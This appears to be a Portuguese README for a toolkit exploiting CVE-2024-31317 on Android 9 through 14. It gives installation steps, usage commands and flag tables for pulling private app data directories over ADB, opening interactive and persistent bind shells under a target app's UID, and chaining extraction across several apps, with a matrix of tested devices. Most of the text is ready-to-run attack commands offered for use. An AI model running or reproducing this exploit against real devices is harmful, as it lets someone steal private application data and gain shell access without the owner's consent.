
Isto é um kit de ferramentas que utiliza CVE-2024-31317 para extrair dados privados de aplicativos via ADB ou gerar um shell com o UID de um aplicativo.
Este é um toolkit que utiliza o CVE-2024-31317 para extrair dados privados de aplicativos via ADB ou gerar um shell com o UID de um aplicativo. Esta vulnerabilidade afeta as versões do Android de 9 a 14 executando o nível de patch de segurança 2024-06-01 ou inferior. Uma matriz de suporte de dispositivos testados pode ser encontrada abaixo.
sudo apt update
sudo apt install adb openjdk-17-jdk-headless android-sdk android-sdk-build-tools
export ANDROID_HOME=/usr/lib/android-sdk
export PATH=$PATH:$ANDROID_HOME/build-tools/34.0.0:$ANDROID_HOME/platform-tools
Adicione as linhas export ao ~/.bashrc (ou equivalente) para persistência.
./setup.sh
# Build and install the carrier APK (auto-builds from source)
python3 cve_2024_31317.py com.google.android.youtube --setup --rebuild -y
# Extract an app's data directory
python3 cve_2024_31317.py -d DEVICE_SERIAL -E -o app_data.tar -y com.example.app
O exploit constrói tudo a partir de Hijack.java e AndroidManifest.xml na primeira execução.
python3 cve_2024_31317.py [flags] [package]
# Extraction
python3 cve_2024_31317.py -d DEVICE -E -o youtube.tar -y com.google.android.youtube
# Check if device is vulnerable
python3 cve_2024_31317.py -d DEVICE --check-vuln
# Interactive bind shell
python3 cve_2024_31317.py -d DEVICE -i -y com.google.android.youtube
# Persistent shell on port 7777
python3 cve_2024_31317.py -d DEVICE -S 7777 -y com.google.android.youtube
# Multi-app chain
python3 cve_2024_31317.py -d DEVICE -E -y --chain-targets "app1,app2,app3"
# Recovery only (fix boot loop)
python3 cve_2024_31317.py -d DEVICE --recover
Tudo é construído a partir do código fonte em tempo de execução. O pipeline de construção usa javac (JDK 17+), d8, aapt, zipalign e apksigner do Android SDK.
Se o dispositivo tiver um código de desbloqueio, ele inicia o BFU (Before First Unlock). O exploit consulta sys.user.0.ce_available por até 5 minutos até que você desbloqueie. Recomenda-se remover o código de desbloqueio durante a execução do exploit.
† Específico do Samsung One UI: a injeção ZNJECT é bem-sucedida e a extração -E funciona, mas o shell vinculado do ServerSocket toybox nc nunca abre. Necessita de mais pesquisa para encontrar a causa raiz do problema.
O payload permanece em hidden_api_blacklist_exemptions pode causar um loop de inicialização no próximo boot. Execute --recover para redefinir:
python3 cve_2024_31317.py -d DEVICE --recover
| Flag | Descrição |
|---|
-E | Extrair dados do app via grandchild tar | nc (sobrevive à morte do pai) |
-i | Shell interativo REPL vinculado |
-S PORT | Shell persistente (protocolo FIFO de porta única) |
--recover | Redefinir configuração, corrigir travamento na inicialização / degradação do Zygote |
--setup | Construir + instalar APK carrier apenas (sem injeção) |
--list-apps | Listar todos os pacotes instalados com UID e tipo sys/user |
--check-vuln | Verificar se o dispositivo é vulnerável ao CVE-2024-31317 e sair |
| Flag | Descrição |
|---|
-o file.tar | Caminho de saída para o tarball de extração |
-y / --yes | Pular confirmações |
--retries N | Máximo de tentativas por alvo (padrão 3) |
--chain-targets "pkg1,pkg2" | Extrair múltiplos apps em uma sessão |
--chain-file file.json | Mesmo que acima, a partir de arquivo JSON |
--reboot-after | Reiniciar após extração (restaura Zygote) |
--reboot-every N | Reiniciar após cada N alvos em cadeia |
--cold | Pular aquecimento; armazenar payload para o próximo lançamento do app |
--port PORT | Porta do shell vinculado (padrão 8888) |
-d SERIAL | Alvejar dispositivo específico (múltiplos conectados) |
--rebuild | Forçar reconstrução do APK carrier |
| Dispositivo | Android | API | Patch | ABI | -E | -i | -S | --chain | --cold | --retries | --recover | --reboot-after | --list-apps | --check-vuln | Pontuação |
|---|
| Google Pixel 3 | 12 | 31 | 2021-10-05 | arm64-v8a | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | 12/12 |
| Samsung SM-P615 Tab S6 Lite | 13 | 33 | 2024-05-01 | arm64-v8a | ✅ | ❌† | ❌† | ✅ | ✅ | ❌† | ✅ | ✅ | ✅ | ✅ | 9/12 |
| sdk_gphone_x86_64 (emulator) | 10 | 29 | 2019-09-05 | x86_64 | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | 12/12 |